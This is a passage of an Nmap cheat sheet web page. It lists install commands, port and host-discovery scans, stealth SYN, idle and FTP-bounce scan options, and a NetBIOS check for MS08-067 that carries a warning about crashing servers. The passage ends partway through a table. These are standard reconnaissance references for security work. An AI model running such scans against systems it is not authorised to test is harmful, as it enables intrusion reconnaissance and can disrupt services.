      &lt;li&gt;&lt;a href=&quot;#nmap-netbios-ms08-067&quot; id=&quot;markdown-toc-nmap-netbios-ms08-067&quot;&gt;Nmap Netbios MS08-067&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nmap-scan-tuning--optimisation&quot; id=&quot;markdown-toc-nmap-scan-tuning--optimisation&quot;&gt;Nmap Scan Tuning &amp;amp; Optimisation&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-rate&quot; id=&quot;markdown-toc-nmap-rate&quot;&gt;Nmap Rate&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-parallelism&quot; id=&quot;markdown-toc-nmap-parallelism&quot;&gt;Nmap Parallelism&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-host-group-sizes&quot; id=&quot;markdown-toc-nmap-host-group-sizes&quot;&gt;Nmap Host Group Sizes&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-host-timeout&quot; id=&quot;markdown-toc-nmap-host-timeout&quot;&gt;Nmap Host Timeout&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-scan-delay&quot; id=&quot;markdown-toc-nmap-scan-delay&quot;&gt;Nmap Scan Delay&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-disable-dns-lookups&quot; id=&quot;markdown-toc-nmap-disable-dns-lookups&quot;&gt;Nmap Disable DNS Lookups&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#nmap-black-list-detection&quot; id=&quot;markdown-toc-nmap-black-list-detection&quot;&gt;Nmap Black List Detection?&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-optimising-portscans-for-targets&quot; id=&quot;markdown-toc-nmap-optimising-portscans-for-targets&quot;&gt;Nmap Optimising Portscans for Targets&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nmap-faq&quot; id=&quot;markdown-toc-nmap-faq&quot;&gt;Nmap FAQ&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#what-is-nmap-used-for&quot; id=&quot;markdown-toc-what-is-nmap-used-for&quot;&gt;What is Nmap Used for?&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#is-nmap-illegal&quot; id=&quot;markdown-toc-is-nmap-illegal&quot;&gt;Is Nmap Illegal?&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#is-nmap-a-vulnerability-scanner&quot; id=&quot;markdown-toc-is-nmap-a-vulnerability-scanner&quot;&gt;Is Nmap a Vulnerability Scanner&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#why-do-hackers-use-nmap&quot; id=&quot;markdown-toc-why-do-hackers-use-nmap&quot;&gt;Why do hackers use Nmap?&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-download&quot; id=&quot;markdown-toc-nmap-download&quot;&gt;Nmap Download&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#nmap-scripts-list&quot; id=&quot;markdown-toc-nmap-scripts-list&quot;&gt;Nmap Scripts List&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#document-changelog&quot; id=&quot;markdown-toc-document-changelog&quot;&gt;Document Changelog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-does-nmap-do&quot;&gt;What does Nmap do:&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Host discovery&lt;/li&gt;
  &lt;li&gt;Port discovery / enumeration&lt;/li&gt;
  &lt;li&gt;Service discovery&lt;/li&gt;
  &lt;li&gt;Operating system version detection&lt;/li&gt;
  &lt;li&gt;Hardware (MAC) address detection&lt;/li&gt;
  &lt;li&gt;Service version detection&lt;/li&gt;
  &lt;li&gt;Vulnerability / exploit detection, using Nmap scripts (NSE)&lt;/li&gt;
  &lt;li&gt;Nmap IDS / Portscan Detection &amp;amp; Scan Time Optimisation&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;download--install-nmap&quot;&gt;Download &amp;amp; Install Nmap&lt;/h2&gt;

&lt;p&gt;Nmap can be downloaded from &lt;a href=&quot;https://nmap.org/&quot;&gt;nmap.org&lt;/a&gt;, however commonly Nmap is installed via your Linux distributions package manager:&lt;/p&gt;

&lt;h3 id=&quot;debian--ubuntu--kali&quot;&gt;Debian / Ubuntu / Kali&lt;/h3&gt;

&lt;p&gt;How to Install Nmap on Ubuntu, Debian, Kali or other Linux systems using the APT package manager.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;nmap&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;nmap-rhel--fedora&quot;&gt;Nmap RHEL / Fedora&lt;/h3&gt;

&lt;p&gt;How to Install Nmap on RHEL, Fedora, CentOS, Rocky Linux or other Linux systems using the DNF package manager.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dnf &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;nmap&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;nmap-windows&quot;&gt;Nmap Windows&lt;/h3&gt;

&lt;p&gt;Download Nmap for Windows and install: &lt;a href=&quot;https://nmap.org/download#windows&quot;&gt;Nmap for Windows&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;nmap-macos&quot;&gt;Nmap MacOS&lt;/h3&gt;

&lt;p&gt;How to install nmap on MacOS using Brew.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;brew &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;nmap&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;nmap-commands&quot;&gt;Nmap Commands&lt;/h2&gt;

&lt;p&gt;Basic Nmap scanning command examples, often used at the first stage of enumeration.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -sP 10.0.0.0/24&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Nmap scan the network, listing machines that respond to ping.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

     &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -p 1-65535 -sV -sS -T4 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;A full TCP port scan using with service version detection - &lt;code&gt;T1-T5&lt;/code&gt; is the speed of the scan.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -v -sS -A -T4 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + traceroute and scripts against target services.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -v -sS -A -T5 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + traceroute and scripts against target services.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -v -sV -O -sS -T5 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -v -p 1-65535 -sV -O -sS -T4 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + full port range scan.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -v -p 1-65535 -sV -O -sS -T5 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
           &lt;p&gt;Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + full port range scan.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;Agressive scan timings are faster, but could yeild inaccurate results!&lt;/h5&gt;
  &lt;p&gt;T5 uses very aggressive scan timings and could lead to missed ports, T3-4 is a better compromise if you need fast results (depending on if local network or remote).&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;nmap-scan-from-file&quot;&gt;Nmap scan from file&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -iL ip-addresses.txt&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Scans a list of IP addresses, you can add options before / after.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;nmap-scan-all-ports&quot;&gt;Nmap Scan all Ports&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -p- target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Nmap scan all ports, a full scan of all TCP ports on a target.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;nmap-output-formats&quot;&gt;Nmap output formats&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;

      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -sS -sV -T5 10.0.1.99 -oA output-all-formats&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;nmap output to all formats. &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -sV -p 139,445 -oG grep-output.txt 10.0.1.0/24&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Outputs &quot;grepable&quot; output to a file, in this example Netbios servers.&lt;/p&gt;
            &lt;p&gt;E.g, The output file could be grepped for &quot;Open&quot;.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -sS -sV -T5 10.0.1.99 --webxml -oX -&lt;br /&gt; | xsltproc --output file.html -&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Export nmap output to HTML report. &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;nmap-netbios-examples&quot;&gt;Nmap Netbios Examples&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -sV -v -p 139,445 10.0.0.1/24&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Find all Netbios servers on subnet&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -sU --script nbstat.nse -p 137 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Nmap display Netbios name&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap --script-args=unsafe=1 --script &lt;br /&gt; smb-check-vulns.nse -p 445 target&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Nmap check if Netbios servers are vulnerable to MS08-067&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;div class=&quot;note warning&quot;&gt;
  &lt;h5&gt;--script-args=unsafe=1 has the potential to crash servers / services&lt;/h5&gt;
  &lt;p&gt;Becareful when running this command.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;nmap-nikto-scan&quot;&gt;Nmap Nikto Scan&lt;/h3&gt;

&lt;p&gt;Nmap + &lt;a href=&quot;/blog/nikto-cheat-sheet/&quot;&gt;Nikto&lt;/a&gt; scanning for specific discovered HTTP ports.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -p80 10.0.1.0/24 -oG - | nikto.pl -h -&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Scans for http servers on port 80 and pipes into Nikto for scanning.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Scans for http/https servers on port 80, 443 and pipes into Nikto for scanning.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;nmap-cheatsheet&quot;&gt;Nmap Cheatsheet&lt;/h2&gt;

&lt;h3 id=&quot;target-specification&quot;&gt;Target Specification&lt;/h3&gt;

&lt;p&gt;Nmap allows hostnames, IP addresses, subnets.&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;blah.hacksofdhruv.me, nmap.org/24, 192.168.0.1&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 10.0.0-255.1-254&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-iL&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;inputfilename: Input from list of hosts/networks&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-iR&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;iterate hosts: Choose random targets from the input file&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--exclude&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;host1[,host2][,host3],... : Exclude hosts/networks&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--excludefile&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;exclude_file: nmap exclude hosts list from file&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;host-discovery&quot;&gt;Host Discovery&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sL&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;List Scan - simply list targets to scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;   

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sn&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Nmap ping scan / sweep - runs a nmap network scan, with port scanning disabled&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-Pn&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Treat all hosts as online -- skip host discovery&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-PS/PA/PU/PY[portlist]&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;TCP SYN/ACK, UDP or SCTP discovery to given ports. Allows you to specify a specific port nmap uses to verify a host is up e.g., -PS22 (by default nmap sends to a bunch of common ports, this allows you to be specific)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-PE/PP/PM&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;ICMP echo, timestamp, and netmask request discovery probes&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-PO[protocol list]&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;IP Protocol Ping&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-n/-R&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Never do DNS resolution/Always resolve [default: sometimes]&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;scan-techniques&quot;&gt;Scan Techniques&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sS&lt;br /&gt;-sT&lt;br /&gt;-sA&lt;br /&gt;-sW&lt;br /&gt;-sM&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;TCP SYN scan&lt;br /&gt;Connect scan&lt;br /&gt;ACK scan&lt;br /&gt;Window scan&lt;br /&gt;Maimon scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sU&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;UDP Scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sN&lt;br /&gt;-sF&lt;br /&gt;-sX&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;TCP Null scan&lt;br /&gt;FIN scan&lt;br /&gt;Xmas scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--scanflags&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Customize TCP scan flags&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sI zombie host[:probeport]&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Idle scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sY&lt;br /&gt;-sZ&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;SCTP INIT scan&lt;br /&gt;COOKIE-ECHO scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sO&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;IP protocol scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt; -b &quot;FTP relay host&quot;&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;FTP bounce scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;port-specification-and-scan-order&quot;&gt;Port Specification and Scan Order&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-p&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Specify ports, e.g. -p80,443 or -p1-65535&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-p U:PORT&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Scan UDP ports with Nmap, e.g. -p U:53&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-F&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Fast mode, scans fewer ports than the default scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-r&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Scan ports consecutively - don&apos;t randomize&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--top-ports &quot;number&quot;&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Scan &quot;number&quot; most common ports&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--port-ratio &quot;ratio&quot;&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Scan ports more common than &quot;ratio&quot;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;service-version-detection&quot;&gt;Service Version Detection&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sV&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Probe open ports to determine service/version info&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--version-intensity &quot;level&quot;&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Set from 0 (light) to 9 (try all probes)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--version-light&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Limit to most likely probes (intensity 2)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--version-all&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Try every single probe (intensity 9)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;--version-trace&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show detailed version scan activity (for debugging)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;script-scan&quot;&gt;Script Scan&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;-sC&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;equivalent to --script=default&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
